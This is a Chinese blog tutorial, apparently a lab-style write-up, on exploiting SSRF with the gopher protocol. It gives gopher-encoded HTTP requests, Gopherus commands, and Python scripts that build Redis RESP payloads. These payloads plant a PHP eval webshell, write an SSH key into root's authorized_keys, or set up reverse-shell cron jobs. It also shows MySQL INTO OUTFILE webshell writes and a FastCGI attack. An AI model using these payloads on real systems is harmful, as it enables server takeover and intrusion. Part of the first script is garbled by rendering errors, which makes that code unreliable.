gopher在ssrf中的应用

gopher协议

gopher是http协议出现以前常用的协议。它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。它可以发送GET、POST请求,攻击内网的redis以及ftp。

使用限制

php:–wite-curlwrappers且php版本不小于5.3

java:小于JDK1.7

curl:低版本不支持

perl:支持

ASP.NET:小于3

gopher格式:

URL:gopher://:/_后接TCP数据流

gopher发送get请求

GET /b.php?q=1 HTTP/1.1
Host: 192.168.47.244

gopher://192.168.47.244:80/_GET /b.php?q=1 HTTP/1.1 Host: 192.168.47.244
//url解码前的内容
gopher://192.168.47.244:80/_GET%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0A%0D%0A

gopher发送post请求

POST /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

q=Myname

gopher://192.168.47.244:80/_POST /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

q=Myname

//url解码前的内容
gopher://192.168.47.244:80/_POST%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%208%0D%0A%0D%0Aq%3DMyname

而gopherus是产生gopher的payload程序。

kali下载,python2环境。

下载地址:https://github.com/tarunkant/Gopherus

可以在kali中使用下列命令获取:

git https://github.com/tarunkant/Gopherus.git

目前支持生成payload应用有:

MySQL (Port:3306)

FastCGI (Port:9000)

Memcached (Port:11211)

Redis (Port:6379)

Zabbix (Port:10050)

SMTP (Port:25)
是否需要对gopher命令_后面进行二次编码:

curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode

打Redis

前置知识

redis

一种c语言编写的非关系型数据库。默认端口6379
resp协议:

RESP 是 Redis 序列化协议的简写。redis协议将传输的数据分为五种最小单元类型,单元结束时统一加上回车换行符号\r\n。注意

单行字符串以 + 符号开头。
+hello world\r\n
多行字符串以 $ 符号开头,后跟字符串长度。多行字符串当然也可以表示单行字符串。
$11\r\nhello world\r\n
整数值以 : 符号开头,后跟整数的字符串形式。
1024:
:1024\r\n
错误消息以 - 符号开头。
-WRONGTYPE Operation against a key holding the wrong kind of value
数组以 * 号开头,后跟数组的长度。
[1,2,3]:
*3\r\n:1\r\n:2\r\n:3\r\n

例如

输入*3\r\n$3\r\nset\r\n$6\r\nauthor\r\n$8\r\ncodehole\r\n

*3
$3
set
$6
author
$8
codehole

利用方式

1.绝对路径写webshell

2.写ssh公钥

3.写contrab计划任务反弹shell

4.主从复制webshell
webshell

python2 gopherus.py --exploit redis

php//ReverseShell应该是反弹shell PHPshell就是webshell了

回车(默认目录)

<?php eval($_POST['1']);?>

//默认的写入文件名是shell.php 默认的命令参数是cmd

传入然后访问连接即可。
绝对路径写webshell

构造redis语句

flushall
config set dir /var/www/html
config set dbfilename shell.php
set 1 ‘<?php eval($_GET["cmd"]);?>’
save

去网上找了一个师傅的脚本,将命令转化为resp形式

import urllib
protocol=“gopher://”
ip=“192.168.64.163”
port=“6379”
shell=“\n\n<?php eval($_GET[\"cmd\"]);?>\n\n”
filename=“shell.php”
path=“/var/www/html”
passwd=“”
cmd=[“flushall”,
“set 1 {}”.format(shell.replace(" “,”KaTeX parse error: Undefined control sequence: \n at position 242: …): CRLF="\r\̲n̲" redis_arr…“+str(len((x.replace(” I F S " , " " ) ) ) ) + C R L F + x . r e p l a c e ( " {IFS}"," "))))+CRLF+x.replace(" IFS",""))))+CRLF+x.replace("{IFS}“,” ")
cmd+=CRLF
return cmd

if name==“main”:
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

运行后将结果传入靶机,连接即可
写入ssh公钥

前提:靶机的ssh开启

import urllib

protocol = “gopher://”
ip = “192.168.64.163”
port = “6379”
shell = “\n\n<?php eval($_GET[\"cmd\"]);?>\n\n”
filename = “authorized_keys”
path = “/root/.ssh/”
ssh_pub=“\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZ4COG/WedK5DMzzUrXon27jTinJr7p7fqXUuQmDELqSmtVJEhM7PDcfuELxB49GnxERabS+jKiylRuMDPw+OQYxLOANuWt8F0L5vCzik2ADn6OsD7Pq/vqCXo6gOHAKdueG8PsoeShw0DgUhwdd0jzSrz3RciuSo9Ka8y8QCU0BqQbosYxWVDpr2pzqkBL8LEB9oUu06ug5hJNoG1rpCPbebXCVCPvnnFVWuDHb0u9DSZz8a1LSREF1aDDjAHrc5TMOMh4LpIIaIbLq55/ZBI3KHEOfmpeKa+G56BcO03PV9L9Dx8XpT2p77zwOZWNRtHOTSV5o1qdwGyRNkff5Hhe5BojG5zwdzjkoduAs4s8pqPEYe4XiPrA2vkJuaYDG0pMNlCbwDmIKos6rr6iBJvgp9vTRGrlzqlf2HLqN9Bxmd52/6TQD5xgA0XsNPNr6EWVzS/NS9cZ5MJ3gzCJWkZEfMmNyaJwcul6Q3PPykN+iQ5pd9vejcsMeCEgdZVRhU= root@kali\n\n”
passwd = “”
cmd = [“flushall”,
“set 1 {}”.format(ssh_pub.replace(" ", “${IFS}”)),
“config set dir {}”.format(path),
“config set dbfilename {}”.format(filename),
“save”
]
if passwd:
cmd.insert(0, “AUTH {}”.format(passwd))
payload = protocol + ip + “:” + port + “/_”

def redis_format(arr):
CRLF = “\r\n”
redis_arr = arr.split(" “)
cmd = “”
cmd += “*” + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + “ " + s t r ( l e n ( ( x . r e p l a c e ( " " + str(len((x.replace(" "+str(len((x.replace("{IFS}”, " “)))) + CRLF + x.replace(”${IFS}”, " ")
cmd += CRLF
return cmd

if name == “main”:
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)

利用curl命令写入后连接

ssh root@ip:port

打mysql

mysql客户端登录服务器时有两种情况,需要密码和不需要密码。gopher协议打mysql不需要密码的情况。

还是要通过dict协议获取端口。默认3306

前提

知道网站路径

对数据库有执行权限

python2 gopherus.py --exploit mysql
root
select “<?php eval($_POST[1]);?>” into outfile "/var/www/html/1.php

直接将木马写入1.php,然后访问即可。

打FastCGI

前置知识

Fastcgi是服务器中间件和某个语言后端进行数据交换的通信协议。由多个record构成。
record

record也有header和body,服务器中间件封装按协议发送到后端,后端处理后,按协议返回。

typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;

/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;

Fastcgi Type

作用:标志每个record的作用

漏洞利用

当9000端口暴露时候,我们可以伪造fastcgi与后端语言之间的协议报文来攻击,当9000端口未暴露时,我们也可以用gopherus进行ssrf。

python2 gopherus.py --exploit fastcgi
回车
回车
命令

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值